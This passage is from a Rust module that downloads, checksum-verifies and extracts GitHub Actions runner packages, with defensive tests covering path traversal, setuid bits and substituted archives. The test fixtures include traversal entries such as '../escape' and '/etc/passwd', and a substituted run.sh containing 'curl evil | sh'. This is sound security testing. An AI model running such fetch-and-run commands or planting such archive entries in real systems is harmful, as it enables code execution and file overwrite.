2752/// asserted on a CI leg whose filesystem has no modes at all.
2753const fn policy_mode(published: u32) -> u32 {
2754    if published & 0o111 == 0 { 0o600 } else { 0o700 }
2755}
2756
2757/// Apply [`policy_mode`] to something just extracted.
2758///
2759/// One function rather than a `cfg`-gated pair, so [`policy_mode`] is reached
2760/// on every target. As two functions the Windows build never called it, and
2761/// `-D warnings` failed the Windows leg on dead code — a small thing, but it
2762/// pointed at a real one: a security policy that is compiled out on a platform
2763/// is a policy nobody can be sure still exists there.
2764fn apply_mode_policy(path: &Path, mode: Option<u32>) -> Result<(), PackageError> {
2765    let Some(published) = mode else { return Ok(()) };
2766    let mode = policy_mode(published);
2767    #[cfg(unix)]
2768    {
2769        use std::os::unix::fs::PermissionsExt as _;
2770        fs::set_permissions(path, fs::Permissions::from_mode(mode)).map_err(|source| {
2771            PackageError::Io {
2772                what: "set permissions on an extracted runner package file",
2773                path: path.to_path_buf(),
2774                source,
2775            }
2776        })
2777    }
2778    #[cfg(not(unix))]
2779    {
2780        // Windows has no mode bits to apply, and the `.zip` packages are the
2781        // Windows ones — which is exactly why the policy has to be enforced on
2782        // the `.tar.gz` path, the one that runs where modes exist.
2783        let _ = (path, mode);
2784        Ok(())
2785    }
2786}
2787
2788// ---------------------------------------------------------------------------
2789// Small filesystem helpers
2790// ---------------------------------------------------------------------------
2791
2792/// Remove a file, treating "it was not there" as success.
2793///
2794/// Any other failure is reported: a download that could not be deleted is a
2795/// package sitting unverified on the operator's disk, which is worth a word.
2796fn remove_file_if_present(path: &Path, what: &'static str) -> Result<(), PackageError> {
2797    match fs::remove_file(path) {
2798        Ok(()) => Ok(()),
2799        Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2800        Err(source) => Err(PackageError::Io {
2801            what,
2802            path: path.to_path_buf(),
2803            source,
2804        }),
2805    }
2806}
2807
2808fn create_dir_all(path: &Path) -> Result<(), PackageError> {
2809    fs::create_dir_all(path).map_err(|source| PackageError::Io {
2810        what: "create a runner package cache directory",
2811        path: path.to_path_buf(),
2812        source,
2813    })
2814}
2815
2816fn write_json<T: Serialize>(path: &Path, value: &T) -> Result<Vec<u8>, PackageError> {
2817    let encoded = serde_json::to_vec_pretty(value).map_err(|error| PackageError::Extract {
2818        detail: format!("the package manifest could not be encoded: {error}"),
2819    })?;
2820    fs::write(path, &encoded).map_err(|source| PackageError::Io {
2821        what: "write a runner package cache file",
2822        path: path.to_path_buf(),
2823        source,
2824    })?;
2825    Ok(encoded)
2826}
2827
2828/// Which attempt one lease file records as holding `version`, if any.
2829///
2830/// Split out of [`PackageCache::holders`] so the three answers can be asserted
2831/// directly. The middle one is a race that only a seam like this can be shown
2832/// to handle: a lease file listed and then gone cannot be produced on demand
2833/// from outside, but it is exactly what a concurrent [`PackageCache::release`]
2834/// leaves behind.
2835///
2836/// * **Gone** — `Ok(None)`. The directory was listed a moment ago, so a lease
2837///   that has since disappeared was released in between. That is an ordinary
2838///   race and precisely the outcome a prune is waiting for. Reporting it as
2839///   [`PackageError::UnreadableLease`] would make `prune` refuse for a reason
2840///   that is not true and send the operator to inspect a file that is not
2841///   there.
2842/// * **Present and unintelligible** — `Err`. Unreadable is not "nothing holds
2843///   this", and a lease is written non-atomically, so a crash mid-write leaves
2844///   exactly this shape. Fails closed.
2845/// * **Present and readable** — `Ok(Some(id))` when it names `version`.
2846///
2847/// # Errors
2848/// [`PackageError::UnreadableLease`] for a file whose name is not an attempt
2849/// identifier or whose contents do not parse, [`PackageError::Io`] otherwise.
2850fn holder_of(path: &Path, version: &RunnerVersion) -> Result<Option<AttemptId>, PackageError> {
2851    let unreadable = || PackageError::UnreadableLease {
2852        path: path.to_path_buf(),
2853    };
2854    let uuid = path
2855        .file_stem()
2856        .and_then(|stem| stem.to_str())
2857        .and_then(|stem| uuid::Uuid::parse_str(stem).ok())
2858        .ok_or_else(unreadable)?;
2859    let Some(lease) = read_lease(path)? else {
2860        return Ok(None);
2861    };
2862    Ok((lease.version == *version).then(|| AttemptId::from_uuid(uuid)))
2863}
2864
2865/// Reads one lease, strictly.
2866///
2867/// The counterpart of [`read_json`], and deliberately not the same policy.
2868/// `read_json` treats a corrupt file as absent, which is right for a
2869/// **manifest**: the fallback there is "this directory is not an entry", and
2870/// the caller's next move is the same either way. It is wrong for a **lease**,
2871/// where the fallback would be "nothing holds this version" — the most
2872/// dangerous answer this module can give, and the one thing that would make an
2873/// otherwise fail-closed prune guard fail open.
2874///
2875/// # Errors
2876/// [`PackageError::UnreadableLease`] when the file exists and does not parse,
2877/// [`PackageError::Io`] when it cannot be read at all.
2878fn read_lease(path: &Path) -> Result<Option<Lease>, PackageError> {
2879    // Not a plain read: a job could leave a FIFO here, which would wait for ever.
2880    let read = open_regular(path).and_then(|mut file| {
2881        let mut bytes = Vec::new();
2882        file.read_to_end(&mut bytes).map(|_| bytes)
2883    });
2884    let bytes = match read {
2885        Ok(bytes) => bytes,
2886        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2887        Err(source) => {
2888            return Err(PackageError::Io {
2889                what: "read a runner package lease",
2890                path: path.to_path_buf(),
2891                source,
2892            });
2893        }
2894    };
2895    serde_json::from_slice(&bytes)
2896        .map(Some)
2897        .map_err(|_| PackageError::UnreadableLease {
2898            path: path.to_path_buf(),
2899        })
2900}
2901
2902/// Reads a JSON file, answering `None` when it is absent or unreadable as `T`.
2903///
2904/// A corrupt manifest reads as "not an entry" rather than as an error: the
2905/// caller's next move is the same either way — treat the directory as not
2906/// installed — and a cache that refuses to answer at all because one directory
2907/// is damaged is worse than one that ignores it.
2908fn read_json<T: for<'de> Deserialize<'de>>(path: &Path) -> Result<Option<T>, PackageError> {
2909    // Not a plain read: a job could leave a FIFO here, which would wait for ever.
2910    let read = open_regular(path).and_then(|mut file| {
2911        let mut bytes = Vec::new();
2912        file.read_to_end(&mut bytes).map(|_| bytes)
2913    });
2914    let bytes = match read {
2915        Ok(bytes) => bytes,
2916        Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2917        Err(source) => {
2918            return Err(PackageError::Io {
2919                what: "read a runner package cache file",
2920                path: path.to_path_buf(),
2921                source,
2922            });
2923        }
2924    };
2925    Ok(serde_json::from_slice(&bytes).ok())
2926}
2927
2928// ---------------------------------------------------------------------------
2929// Tests
2930// ---------------------------------------------------------------------------
2931
2932#[cfg(test)]
2933mod tests {
2934    use super::*;
2935
2936    use std::io::Write as _;
2937    use std::sync::atomic::{AtomicUsize, Ordering};
2938
2939    use runner_manager_domain::attempt::AttemptState;
2940    use runner_manager_testkit::clock::FakeClock;
2941    use runner_manager_testkit::fixtures;
2942    use runner_manager_testkit::github as gh;
2943
2944    // -- archive fixtures --------------------------------------------------
2945
2946    /// A real `.zip`, built in memory.
2947    fn zip_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2948        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2949        let options = zip::write::SimpleFileOptions::default();
2950        for (name, body) in entries {
2951            writer
2952                .start_file(*name, options)
2953                .expect("start a zip entry");
2954            writer
2955                .write_all(body.as_bytes())
2956                .expect("write a zip entry");
2957        }
2958        writer.finish().expect("finish the zip").into_inner()
2959    }
2960
2961    /// A real `.zip` whose entries carry explicit unix modes.
2962    ///
2963    /// A name ending in `/` becomes a directory entry, which is how a zip
2964    /// records one and is the case the mode policy used to skip.
2965    fn zip_bytes_with_modes(entries: &[(&str, &str, Option<u32>)]) -> Vec<u8> {
2966        let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2967        for (name, body, mode) in entries {
2968            let mut options = zip::write::SimpleFileOptions::default();
2969            if let Some(mode) = mode {
2970                options = options.unix_permissions(*mode);
2971            }
2972            if name.ends_with('/') {
2973                writer
2974                    .add_directory(name.trim_end_matches('/'), options)
2975                    .expect("start a zip directory");
2976            } else {
2977                writer
2978                    .start_file(*name, options)
2979                    .expect("start a zip entry");
2980                writer
2981                    .write_all(body.as_bytes())
2982                    .expect("write a zip entry");
2983            }
2984        }
2985        writer.finish().expect("finish the zip").into_inner()
2986    }
2987
2988    /// A real `.tar.gz`, built in memory.
2989    fn tar_gz_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2990        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2991        let mut builder = tar::Builder::new(encoder);
2992        for (name, body) in entries {
2993            let mut header = tar::Header::new_gnu();
2994            header.set_size(body.len() as u64);
2995            header.set_mode(0o644);
2996            header.set_cksum();
2997            builder
2998                .append_data(&mut header, name, body.as_bytes())
2999                .expect("append a tar entry");
3000        }
3001        builder
3002            .into_inner()
3003            .expect("finish the tar")
3004            .finish()
3005            .expect("finish the gzip")
3006    }
3007
3008    /// A `.tar.gz` carrying an entry name that `tar::Builder` refuses to write.
3009    ///
3010    /// `append_data` rejects a path containing `..` outright — "paths in
3011    /// archives must not have `..`" — which is a fine default and a useless
3012    /// fixture: an attacker does not use `tar::Builder`. The header is
3013    /// therefore filled in by hand and appended raw, so the archive under test
3014    /// is the archive a hostile producer would actually emit.
3015    fn tar_gz_with_raw_name(name: &str, body: &str) -> Vec<u8> {
3016        let mut header = tar::Header::new_gnu();
3017        header.set_size(body.len() as u64);
3018        header.set_mode(0o644);
3019        header.set_entry_type(tar::EntryType::Regular);
3020        {
3021            let gnu = header.as_gnu_mut().expect("a GNU header");
3022            let bytes = name.as_bytes();
3023            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
3024            gnu.name[..bytes.len()].copy_from_slice(bytes);
3025        }
3026        header.set_cksum();
3027
3028        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
3029        let mut builder = tar::Builder::new(encoder);
3030        builder
3031            .append(&header, body.as_bytes())
3032            .expect("append a raw tar entry");
3033        builder
3034            .into_inner()
3035            .expect("finish the tar")
3036            .finish()
3037            .expect("finish the gzip")
3038    }
3039
3040    /// A `.tar.gz` carrying one entry with an exact mode and entry type.
3041    ///
3042    /// `tar::Header::set_mode` writes the value verbatim with no masking, which
3043    /// is what lets a fixture carry a setuid bit — the thing a published
3044    /// archive could carry and this module must refuse to apply.
3045    fn tar_gz_special(
3046        name: &str,
3047        body: &str,
3048        mode: u32,
3049        kind: tar::EntryType,
3050        link_target: Option<&str>,
3051    ) -> Vec<u8> {
3052        let is_link = matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link);
3053        let mut header = tar::Header::new_gnu();
3054        header.set_size(if is_link { 0 } else { body.len() as u64 });
3055        header.set_mode(mode);
3056        header.set_entry_type(kind);
3057        if let Some(target) = link_target {
3058            header
3059                .set_link_name_literal(target)
3060                .expect("a raw link target");
3061        }
3062        {
3063            let gnu = header.as_gnu_mut().expect("a GNU header");
3064            let bytes = name.as_bytes();
3065            assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
3066            gnu.name[..bytes.len()].copy_from_slice(bytes);
3067        }
3068        header.set_cksum();
3069
3070        let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
3071        let mut builder = tar::Builder::new(encoder);
3072        let data: &[u8] = if is_link { &[] } else { body.as_bytes() };
3073        builder
3074            .append(&header, data)
3075            .expect("append a raw tar entry");
3076        builder
3077            .into_inner()
3078            .expect("finish the tar")
3079            .finish()
3080            .expect("finish the gzip")
3081    }
3082
3083    /// Read one entry's header back out of a `.tar.gz`.
3084    ///
3085    /// Every fixture below is checked through this before it is used. A test
3086    /// that asserts "the setuid bit was not applied" proves nothing if the
3087    /// fixture never carried one.
3088    fn first_entry_header(bytes: &[u8]) -> (u32, tar::EntryType, Option<PathBuf>) {
3089        let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3090            bytes.to_vec(),
3091        )));
3092        let mut entries = archive.entries().expect("entries");
3093        let entry = entries
3094            .next()
3095            .expect("one entry")
3096            .expect("a readable entry");
3097        let link = entry
3098            .link_name()
3099            .expect("a link name field")
3100            .map(|path| path.into_owned());
3101        let header = entry.header();
3102        (header.mode().expect("a mode"), header.entry_type(), link)
3103    }
3104
3105    /// The two entries every fixture package carries.
3106    fn package_entries() -> Vec<(&'static str, &'static str)> {
3107        vec![
3108            ("run.sh", "#!/bin/sh\necho runner\n"),
3109            ("bin/Runner.Listener", "listener\n"),
3110        ]
3111    }
3112
3113    fn hex_digest(bytes: &[u8]) -> String {
3114        let mut hasher = Sha256::new();
3115        hasher.update(bytes);
3116        hex::encode(hasher.finalize())
3117    }
3118
3119    /// Build one published-download record.
3120    fn published(
3121        os: &str,
3122        arch: &str,
3123        version: &str,
3124        extension: &str,
3125        digest: Option<&str>,
3126    ) -> RunnerDownload {
3127        let filename = format!("actions-runner-{os}-{arch}-{version}{extension}");
3128        RunnerDownload {
3129            os: os.to_string(),
3130            architecture: arch.to_string(),
3131            download_url: format!(
3132                "https://github.com/actions/runner/releases/download/v{version}/{filename}"
3133            ),
3134            filename,
3135            sha256_checksum: digest.map(str::to_string),
3136        }
3137    }
3138
3139    // -- fake ports --------------------------------------------------------
3140
3141    #[derive(Debug, Clone)]
3142    enum Answer {
3143        Downloads(Vec<RunnerDownload>),
3144        Rejected,
3145        Unavailable,
3146    }
3147
3148    #[derive(Debug)]
3149    struct FakeCatalog {
3150        answer: Mutex<Answer>,
3151        calls: AtomicUsize,
3152    }
3153
3154    impl FakeCatalog {
3155        fn with(downloads: Vec<RunnerDownload>) -> Arc<Self> {
3156            Self::answering(Answer::Downloads(downloads))
3157        }
3158
3159        fn answering(answer: Answer) -> Arc<Self> {
3160            Arc::new(Self {
3161                answer: Mutex::new(answer),
3162                calls: AtomicUsize::new(0),
3163            })
3164        }
3165
3166        fn publish(&self, downloads: Vec<RunnerDownload>) {
3167            *self.answer.lock().unwrap() = Answer::Downloads(downloads);
3168        }
3169
3170        fn calls(&self) -> usize {
3171            self.calls.load(Ordering::SeqCst)
3172        }
3173    }
3174
3175    #[async_trait::async_trait]
3176    impl DownloadCatalog for FakeCatalog {
3177        async fn published(&self) -> Result<RunnerDownloads, PackageError> {
3178            self.calls.fetch_add(1, Ordering::SeqCst);
3179            let answer = self.answer.lock().unwrap().clone();
3180            match answer {
3181                Answer::Downloads(entries) => Ok(RunnerDownloads::new(entries)),
3182                Answer::Rejected => Err(PackageError::VersionRejected {
3183                    version: None,
3184                    detail: Some("the runner version is no longer supported".to_string()),
3185                }),
3186                Answer::Unavailable => Err(PackageError::CatalogUnavailable {
3187                    detail: "502 Bad Gateway".to_string(),
3188                }),
3189            }
3190        }
3191    }
3192
3193    #[derive(Debug)]
3194    struct FakeFetcher {
3195        payload: Mutex<Vec<u8>>,
3196        /// Every `(url, destination)` this fetcher was asked for, in order.
3197        calls: Mutex<Vec<(String, PathBuf)>>,
3198        /// Destinations that genuinely existed on disk immediately after the
3199        /// fetch returned. This is what stops the "partial file is removed"
3200        /// assertion from passing over a file that was never created.
3201        wrote: Mutex<Vec<PathBuf>>,
3202        fail: Mutex<bool>,
3203        /// Each fetch takes a permit first, when a test wires this.
3204        gate: Mutex<Option<Arc<tokio::sync::Semaphore>>>,
3205    }
3206
3207    impl FakeFetcher {
3208        fn with(payload: Vec<u8>) -> Arc<Self> {
3209            Arc::new(Self {
3210                payload: Mutex::new(payload),
3211                calls: Mutex::new(Vec::new()),
3212                wrote: Mutex::new(Vec::new()),
3213                fail: Mutex::new(false),
3214                gate: Mutex::new(None),
3215            })
3216        }
3217
3218        fn serve(&self, payload: Vec<u8>) {
3219            *self.payload.lock().unwrap() = payload;
3220        }
3221
3222        fn calls(&self) -> Vec<(String, PathBuf)> {
3223            self.calls.lock().unwrap().clone()
3224        }
3225
3226        fn count(&self) -> usize {
3227            self.calls.lock().unwrap().len()
3228        }
3229
3230        fn wrote(&self) -> Vec<PathBuf> {
3231            self.wrote.lock().unwrap().clone()
3232        }
3233    }
3234
3235    #[async_trait::async_trait]
3236    impl PackageFetcher for FakeFetcher {
3237        async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
3238            self.calls
3239                .lock()
3240                .unwrap()
3241                .push((url.to_string(), destination.to_path_buf()));
3242            let gate = self.gate.lock().unwrap().clone();
3243            if let Some(gate) = gate {
3244                gate.acquire().await.expect("never closed").forget();
3245            }
3246            if *self.fail.lock().unwrap() {
3247                return Err(PackageError::Download {
3248                    detail: "connection reset".to_string(),
3249                });
3250            }
3251            let payload = self.payload.lock().unwrap().clone();
3252            fs::write(destination, &payload).expect("the fake fetcher writes its payload");
3253            assert!(
3254                destination.is_file(),
3255                "the fake fetcher must actually create the file, or every \
3256                 assertion about removing it is vacuous"
3257            );
3258            self.wrote.lock().unwrap().push(destination.to_path_buf());
3259            Ok(payload.len() as u64)
3260        }
3261    }
3262
3263    // -- harness -----------------------------------------------------------
3264
3265    struct Harness {
3266        _dir: tempfile::TempDir,
3267        paths: AppPaths,
3268        catalog: Arc<FakeCatalog>,
3269        fetcher: Arc<FakeFetcher>,
3270        clock: Arc<FakeClock>,
3271    }
3272
3273    impl Harness {
3274        fn new(downloads: Vec<RunnerDownload>, payload: Vec<u8>) -> Self {
3275            let dir = tempfile::tempdir().expect("a temporary root");
3276            let paths = AppPaths::rooted_at(dir.path());
3277            Self {
3278                _dir: dir,
3279                paths,
3280                catalog: FakeCatalog::with(downloads),
3281                fetcher: FakeFetcher::with(payload),
3282                clock: Arc::new(FakeClock::default()),
3283            }
3284        }
3285
3286        fn with_catalog(mut self, catalog: Arc<FakeCatalog>) -> Self {
3287            self.catalog = catalog;
3288            self
3289        }
3290
3291        fn cache(&self) -> PackageCache {
3292            self.cache_for(Os::Linux, Arch::X64)
3293        }
3294
3295        fn cache_for(&self, os: Os, arch: Arch) -> PackageCache {
3296            PackageCache::new(
3297                &self.paths,
3298                os,
3299                arch,
3300                CachePorts {
3301                    catalog: self.catalog.clone(),
3302                    fetcher: self.fetcher.clone(),
3303                    backoff: Arc::new(NoBackoff),
3304                    clock: self.clock.clone(),
3305                },
3306            )
3307        }
3308    }
3309
3310    /// One `.tar.gz` package published for `linux/x64`, with the digest GitHub
3311    /// would have published for those exact bytes.
3312    fn linux_fixture() -> (Harness, Vec<u8>, String) {
3313        let payload = tar_gz_bytes(&package_entries());
3314        let digest = hex_digest(&payload);
3315        let downloads = vec![published(
3316            "linux",
3317            "x64",
3318            "2.330.0",
3319            ".tar.gz",
3320            Some(&digest),
3321        )];
3322        (Harness::new(downloads, payload.clone()), payload, digest)
3323    }
3324
3325    /// Every path under `root`, for asserting that nothing landed somewhere.
3326    fn all_paths(root: &Path) -> Vec<String> {
3327        fn walk(base: &Path, dir: &Path, out: &mut Vec<String>) {
3328            let Ok(entries) = fs::read_dir(dir) else {
3329                return;
3330            };
3331            for entry in entries.flatten() {
3332                let path = entry.path();
3333                out.push(
3334                    path.strip_prefix(base)
3335                        .unwrap_or(&path)
3336                        .to_string_lossy()
3337                        .replace('\\', "/"),
3338                );
3339                if path.is_dir() {
3340                    walk(base, &path, out);
3341                }
3342            }
3343        }
3344        let mut out = Vec::new();
3345        walk(root, root, &mut out);
3346        out.sort();
3347        out
3348    }
3349
3350    fn version(raw: &str) -> RunnerVersion {
3351        RunnerVersion::parse(raw).expect("a well-formed test version")
3352    }
3353
3354    // =====================================================================
3355    // Value types: the version is a path component, so parsing it is a
3356    // security control rather than a convenience.
3357    // =====================================================================
3358
3359    #[test]
3360    fn a_version_is_two_to_four_runs_of_digits_and_nothing_else() {
3361        for good in ["2.330.0", "2.9", "1.2.3.4", "0.0.0"] {
3362            assert!(
3363                RunnerVersion::parse(good).is_ok(),
3364                "`{good}` should parse as a version"
3365            );
3366        }
3367        // Everything here would be a usable path component, a traversal, or an
3368        // absolute path if it reached `Path::join`.
3369        for bad in [
3370            "",
3371            ".",
3372            "..",
3373            "../..",
3374            "2",
3375            "2.330.0.1.2",
3376            "a.b",
3377            "2.330.x",
3378            "2/330",
3379            "2\\330",
3380            "/2.330.0",
3381            "C:2.330.0",
3382            "2.330.0 ",
3383            " 2.330.0",
3384            "2..0",
3385            "2.330.0/../..",
3386        ] {
3387            assert!(
3388                RunnerVersion::parse(bad).is_err(),
3389                "`{bad}` must be refused: it becomes a directory name"
3390            );
3391        }
3392    }
3393
3394    #[test]
3395    fn anything_that_parses_as_a_version_is_a_single_safe_path_component() {
3396        // The property the parser exists to buy. Asserted over the *dangerous*
3397        // candidates as well as the good ones: a version that parses is a
3398        // version that becomes a directory name, so the interesting claim is
3399        // "nothing that parses can escape", not "this one good value is fine".
3400        //
3401        // Asserting it over `2.330.0` alone was decorative — it stayed green
3402        // through a mutation that made `parse` accept `..`, because `2.330.0`
3403        // is a safe component whatever the parser does.
3404        for candidate in [
3405            "2.330.0",
3406            "2.9",
3407            "1.2.3.4",
3408            "",
3409            ".",
3410            "..",
3411            "../..",
3412            "2",
3413            "a.b",
3414            "2/330",
3415            "2\\330",
3416            "/2.330.0",
3417            "C:2.330.0",
3418            "2..0",
3419            "2.330.0/../..",
3420        ] {
3421            let Ok(parsed) = RunnerVersion::parse(candidate) else {
3422                continue;
3423            };
3424            let joined = Path::new("root").join(parsed.as_str());
3425            assert_eq!(
3426                joined.components().count(),
3427                2,
3428                "`{candidate}` parsed but adds more than one path component"
3429            );
3430            assert!(
3431                !joined
3432                    .components()
3433                    .any(|c| matches!(c, Component::ParentDir | Component::RootDir)),
3434                "`{candidate}` parsed but introduces a traversal or a root"
3435            );
3436        }
3437    }
3438
3439    #[test]
3440    fn versions_order_numerically_not_lexically() {
3441        assert!(version("2.9.0") < version("2.10.0"));
3442        assert!(version("2.330.0") > version("2.329.9"));
3443    }
3444
3445    #[test]
3446    fn a_version_is_read_out_of_the_published_filename() {
3447        // GitHub's runner-downloads response carries no version field; the
3448        // filename is the only signal there is.
3449        assert_eq!(
3450            RunnerVersion::from_filename("actions-runner-win-x64-2.330.0.zip").unwrap(),
3451            version("2.330.0")
3452        );
3453        assert_eq!(
3454            RunnerVersion::from_filename("actions-runner-linux-arm64-2.330.0.tar.gz").unwrap(),
3455            version("2.330.0")
3456        );
3457        // The fixture `c3` ships, so this module and that one agree on shape.
3458        let fixture = gh::download("osx", "arm64");
3459        assert_eq!(
3460            RunnerVersion::from_filename(&fixture.filename).unwrap(),
3461            version("2.330.0")
3462        );
3463    }
3464
3465    #[test]
3466    fn an_archive_this_agent_cannot_extract_is_refused_by_name() {
3467        for bad in [
3468            "actions-runner-linux-x64-2.330.0.rar",
3469            "actions-runner-linux-x64-2.330.0",
3470            "actions-runner-linux-x64-2.330.0.tar.xz",
3471        ] {
3472            let error = RunnerVersion::from_filename(bad).unwrap_err();
3473            assert!(
3474                matches!(error, PackageError::UnsupportedArchive { .. }),
3475                "`{bad}` should be an unsupported archive, got {error:?}"
3476            );
3477            assert!(error.is_terminal());
3478        }
3479    }
3480
3481    #[test]
3482    fn a_digest_is_sixty_four_hex_characters_normalised_to_lowercase() {
3483        let upper = "A".repeat(64);
3484        assert_eq!(Sha256Hex::parse(&upper).unwrap().as_str(), "a".repeat(64));
3485        for bad in ["", "abc", &"g".repeat(64), &"a".repeat(63), &"a".repeat(65)] {
3486            assert!(
3487                Sha256Hex::parse(bad).is_err(),
3488                "`{bad}` is not a SHA-256 digest"
3489            );
3490        }
3491    }
3492
3493    #[test]
3494    fn a_malformed_published_digest_is_a_refusal_not_a_comparison_that_never_matches() {
3495        // The failure mode this parse exists to prevent: an `sha256:`-prefixed
3496        // or truncated value compared as a string can never equal a real
3497        // digest, so verification would refuse every package forever while
3498        // looking like it worked.
3499        let error = Sha256Hex::parse("sha256:9f86d081884c7d65").unwrap_err();
3500        assert!(matches!(error, PackageError::MalformedDigest { .. }));
3501        assert!(error.is_terminal());
3502        assert!(error.operator_action().is_some());
3503    }
3504
3505    // =====================================================================
3506    // Path containment. Lexical, because it must answer for paths that do
3507    // not exist yet.
3508    // =====================================================================
3509
3510    #[test]
3511    fn containment_answers_for_paths_that_do_not_exist() {
3512        let root = Path::new("/cache/packages");
3513        assert!(is_inside(root, Path::new("/cache/packages")));
3514        assert!(is_inside(root, Path::new("/cache/packages/2.330.0/bin/x")));
3515        assert!(!is_inside(root, Path::new("/cache")));
3516        assert!(!is_inside(root, Path::new("/cache/packages-other/x")));
3517        assert!(!is_inside(root, Path::new("/elsewhere/2.330.0")));
3518        // A `..` anywhere makes the lexical answer untrustworthy, so it is
3519        // never reported as contained.
3520        assert!(!is_inside(root, Path::new("/cache/packages/../escape")));
3521    }
3522
3523    #[test]
3524    fn an_archive_entry_may_not_resolve_outside_the_directory_it_is_extracted_into() {
3525        let root = Path::new("/cache/staging/root");
3526        assert!(resolve_inside(root, Path::new("bin/x"), "bin/x").is_ok());
3527        assert!(resolve_inside(root, Path::new("./bin/x"), "./bin/x").is_ok());
3528        for escape in ["../escape", "../../escape", "a/../../escape", "/etc/passwd"] {
3529            let error = resolve_inside(root, Path::new(escape), escape).unwrap_err();
3530            assert!(
3531                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
3532                "`{escape}` must be refused, got {error:?}"
3533            );
3534        }
3535    }
3536
3537    // =====================================================================
3538    // DoD 1 — the selected package matches the host, and an unsupported pair
3539    // is refused before any download.
3540    // =====================================================================
3541
3542    #[tokio::test]
3543    async fn the_entry_matching_this_host_is_the_one_downloaded() {
3544        let payload = tar_gz_bytes(&package_entries());
3545        let digest = hex_digest(&payload);
3546        // Three published packages; only one is this host's. The decoys carry
3547        // the same digest so that picking the wrong one would still verify —
3548        // the test must fail on *selection*, not on the checksum.
3549        let harness = Harness::new(
3550            vec![
3551                published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3552                published("linux", "x64", "2.330.0", ".tar.gz", Some(&digest)),
3553                published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3554            ],
3555            payload,
3556        );
3557        let cache = harness.cache_for(Os::Linux, Arch::X64);
3558
3559        let installed = cache.ensure_installed().await.expect("an install");
3560
3561        assert_eq!(installed.version(), &version("2.330.0"));
3562        let calls = harness.fetcher.calls();
3563        assert_eq!(calls.len(), 1);
3564        assert!(
3565            calls[0]
3566                .0
3567                .contains("actions-runner-linux-x64-2.330.0.tar.gz"),
3568            "the linux/x64 package should have been fetched, not `{}`",
3569            calls[0].0
3570        );
3571    }
3572
3573    #[tokio::test]
3574    async fn each_documented_host_selects_its_own_published_package() {
3575        // The selection path is exercised for every documented pair on every CI
3576        // leg, because the format is derived from the filename rather than from
3577        // the host this test happens to run on.
3578        for (os, arch, token_os, token_arch, extension) in [
3579            (Os::Windows, Arch::X64, "win", "x64", ".zip"),
3580            (Os::MacOs, Arch::Arm64, "osx", "arm64", ".tar.gz"),
3581            (Os::Linux, Arch::Arm32, "linux", "arm", ".tar.gz"),
3582        ] {
3583            let payload = if extension == ".zip" {
3584                zip_bytes(&package_entries())
3585            } else {
3586                tar_gz_bytes(&package_entries())
3587            };
3588            let digest = hex_digest(&payload);
3589            let harness = Harness::new(
3590                vec![
3591                    published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3592                    published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3593                    published("linux", "arm", "2.330.0", ".tar.gz", Some(&digest)),
3594                ],
3595                payload,
3596            );
3597            let cache = harness.cache_for(os, arch);
3598
3599            let installed = cache
3600                .ensure_installed()
3601                .await
3602                .unwrap_or_else(|error| panic!("{os}/{arch} should install: {error}"));
3603
3604            let url = &harness.fetcher.calls()[0].0;
3605            assert!(
3606                url.contains(&format!("actions-runner-{token_os}-{token_arch}-")),
3607                "{os}/{arch} fetched `{url}`"
3608            );
3609            assert!(installed.root().join("run.sh").is_file());
3610        }
3611    }
3612
3613    #[tokio::test]
3614    async fn an_undocumented_host_is_refused_before_anything_is_requested() {
3615        let (harness, _, _) = linux_fixture();
3616        // `Arm32` is documented on Linux only; Windows on ARM32 is not a pair
3617        // this product supports.
3618        let cache = harness.cache_for(Os::Windows, Arch::Arm32);
3619
3620        let error = cache.ensure_installed().await.unwrap_err();
3621
3622        assert!(matches!(error, PackageError::UnsupportedHost(_)));
3623        assert!(error.is_terminal());
3624        assert!(error.operator_action().is_some());
3625        assert_eq!(
3626            harness.catalog.calls(),
3627            0,
3628            "an unsupported pair must be refused before the catalog is consulted"
3629        );
3630        assert_eq!(
3631            harness.fetcher.count(),
3632            0,
3633            "an unsupported pair must be refused before any download"
3634        );
3635    }
3636
3637    #[tokio::test]
3638    async fn a_host_github_publishes_nothing_for_is_refused_rather_than_guessed() {
3639        let payload = tar_gz_bytes(&package_entries());
3640        let digest = hex_digest(&payload);
3641        // GitHub publishes only Windows; this host is Linux.
3642        let harness = Harness::new(
3643            vec![published("win", "x64", "2.330.0", ".zip", Some(&digest))],
3644            payload,
3645        );
3646        let cache = harness.cache_for(Os::Linux, Arch::X64);
3647
3648        let error = cache.ensure_installed().await.unwrap_err();
3649
3650        assert!(matches!(error, PackageError::NoPackagePublished { .. }));
3651        assert!(error.is_terminal());
3652        assert_eq!(
3653            harness.fetcher.count(),
3654            0,
3655            "no package published must never fall back to a hardcoded URL"
3656        );
3657    }
3658
3659    // =====================================================================
3660    // DoD 2 — bytes that do not match are rejected and NOT extracted, and
3661    // the partial download is removed.
3662    // =====================================================================
3663
3664    #[tokio::test]
3665    async fn bytes_that_do_not_match_the_published_digest_are_never_extracted() {
3666        let (harness, published_bytes, published_digest) = linux_fixture();
3667        // A well-formed archive with different bytes: the substitution
3668        // `07-security.md` names as the threat, and the one thing only the
3669        // SHA-256 can refuse. A truncated archive would fail at the extractor
3670        // instead, and a test built on one would pass with no digest check at
3671        // all — `a3`'s installer suite learned that the hard way.
3672        let substituted = tar_gz_bytes(&[("run.sh", "#!/bin/sh\ncurl evil | sh\n")]);
3673        assert_ne!(
3674            hex_digest(&substituted),
3675            published_digest,
